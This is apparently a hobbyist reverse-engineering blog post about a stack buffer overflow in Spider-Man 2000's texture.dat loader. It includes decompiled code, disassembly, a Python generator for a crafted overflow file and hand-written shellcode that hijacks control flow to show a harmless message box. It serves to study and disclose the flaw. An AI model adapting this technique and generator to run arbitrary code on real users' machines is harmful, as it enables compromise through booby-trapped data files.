Exploiting: Spiderman 2000 - Buffer overflow in file loading routine

Background

At the end of this year(2019) I decided to completly reverse engineer the game Spider-Man 2000 for the PC in order to be able to fix all of its problems and possibly port it to more architectures and OS(es). During my second stream I was working on the routine that loads the file texture.dat and noticed that the buffer not only in allocated in the stack but there’s no boundary check.

texture.dat is a file that exists in the game’s directory and apparents to be useless since the lack of it doesn’t cause any harm to the game or experience.

The vulnerability

sub_5163E0 calls sub_516250 to load texture.dat and passes a local variable as a buffer.

int __cdecl sub_5163E0(char *a1)
{
	int v2; // [esp+0h] [ebp-224h]
	int Buffer; // [esp+4h] [ebp-220h]
	char v4; // [esp+8h] [ebp-21Ch]
	char v5; // [esp+Bh] [ebp-219h]
	int v6; // [esp+24h] [ebp-200h]

	if ( a1 )
		*a1 = 0;
	if ( !sub_516250(&Buffer, aTextureDat) )
		return 2;
	(...)
}

As can be seen below, this buffer only has 0x220 bytes.

.text:005163E0 Buffer          = dword ptr -220h
.text:005163E0 var_21C         = byte ptr -21Ch
.text:005163E0 var_219         = byte ptr -219h
.text:005163E0 var_200         = dword ptr -200h
.text:005163E0 arg_0           = dword ptr  4
.text:005163E0
.text:005163E0                 sub     esp, 220h
.text:005163E6                 push    esi
.text:005163E7                 mov     esi, [esp+224h+arg_0]
.text:005163EE                 test    esi, esi
.text:005163F0                 jz      short loc_5163F5
.text:005163F2                 mov     byte ptr [esi], 0
.text:005163F5
.text:005163F5 loc_5163F5:                             ; CODE XREF: sub_5163E0+10?j
.text:005163F5                 lea     eax, [esp+224h+Buffer]
.text:005163F9                 push    offset aTextureDat ; "texture.dat"
.text:005163FE                 push    eax             ; lpBuffer
.text:005163FF                 call    sub_516250
.text:00516404                 add     esp, 8
.text:00516407                 test    eax, eax
.text:00516409                 jnz     short loc_516415
.text:0051640B                 mov     al, 2
.text:0051640D                 pop     esi
.text:0051640E                 add     esp, 220h
.text:00516414                 retn

Here’s the relevant part of the loading:

LPVOID __cdecl sub_516250(LPVOID lpBuffer, char *a2)
{
	(...)
	v9 = CreateFileA(Filename, 0x80000000, 1u, 0, 3u, 0, 0);
	v10 = v9;
	if ( v9 == (HANDLE)-1 )
		return 0;
	v11 = GetFileSize(v9, 0);
	v12 = v11;
	
	//The only check it does is wether the number doesn't have the last 2 bits set and if it's bigger than 4
	if ( v11 < 4 || v11 & 3 )
	{
		CloseHandle(v10);
		return 0;
	}
	ReadFile(v10, lpBuffer, v11, &NumberOfBytesRead, 0);
	CloseHandle(v10);
	if ( NumberOfBytesRead < v12 )
		return 0;
	*(_DWORD *)lpBuffer = v12 >> 2;

	//Returns an array of size 0x190 that contains the decryption key
	v13 = sub_4FC230();

	v14 = v12 - 4;
	v15 = 0;

	//Decrypts texture.dat
	if ( v14 )
	{
		do
		{
			*((_BYTE *)lpBuffer + v15 + 4) ^= v13[v15 % 0x190];
			++v15;
		}
		while ( v15 < v14 );
	}
	return lpBuffer;
}

Having a texture.dat of size 0x224 is enough to trigger the vulnerability.

Exploiting

NOTE: All the code for the generator is available in my spidey-tools repository.

Out of the 0x224 bytes the first 4 are dedicated to the file size and last 4 to the jump address. So that results in 0x21C for the shellcode which is more than enough for a simple PoC.

texture.dat generator

The script creates a list that latter is converted to a bytearray and then dumped to disk.

The way the list is generated is as follows:

  • Creates 4 dummy bytes
  • Adds the shellcode
  • Adds the string “*Game has been pwned”:
  • Adds dummy bytes until 0x220 is reached
  • Adds the jump address

Finally it is encrypted(XOR is symmetric) and then dumped to disk.

Code:

byt = open("xor_key.bin", "rb").read()
final = "\x00\x00\x00\x00\x6A\x00\x6A\x00\x68".encode()
final = [e for e in final]
final.append(0x26)
final.append(0xFC)
final.append(0x19)
final.append(0x00)
final.append(0x6A)
final.append(0x00)
final = [e for e in final]
final.append(0xB8)
final.append(0xC8)
final.append(0x59)
final.append(0x51)
final.append(0x00)
final.append(0xFF)
final.append(0xE0)

pwn_str = "Game has been pwnd\x00".encode()
for e in pwn_str:
    final.append(e)

while len(final) != 0x220:
    final.append(0x61)

final.append(0x14)
final.append(0xFC)
final.append(0x19)
final.append(0x00)

final = bytearray(bytes(final))
for index,_ in enumerate(final[4:]):
    final[4+index] ^= byt[index%0x190]


with open("texture.dat", "wb") as f:
    f.write(final)

The string with the hex characters - \x00 - must respect the utf-8 encoding. That caused lots of problems, that the string \xB8 would be converted to \xC2\xB8, that is why I split the logic.

Shellcode

Since this exploit has a lack usefulness I decided to keep it simple and just spawn a MessageBox. Here’s the full shellcode:

6A 00        | push 0                     |
6A 00        | push 0                     |
68 26FC1900  | push 19FC26                | 19FC26:"Game has been pwnd"
6A 00        | push 0                     |
B8 C8595100  | mov eax,spideypc.5159C8    |
FFE0         | jmp eax                    |

The address spideypc.5159C8 contains a call to MessageBoxA followed by a _exit(1) which was perfect for this case.

Result

result of buffer overflow

Video of process

If you’re interested in seeing how this process unfolded then you can watch the two VODs.

Here I stumbled upon the problem but don’t go super deep:

Stream dedicated to developing the exploit:

krystalgamer

krystalgamer
Programmer and hacker

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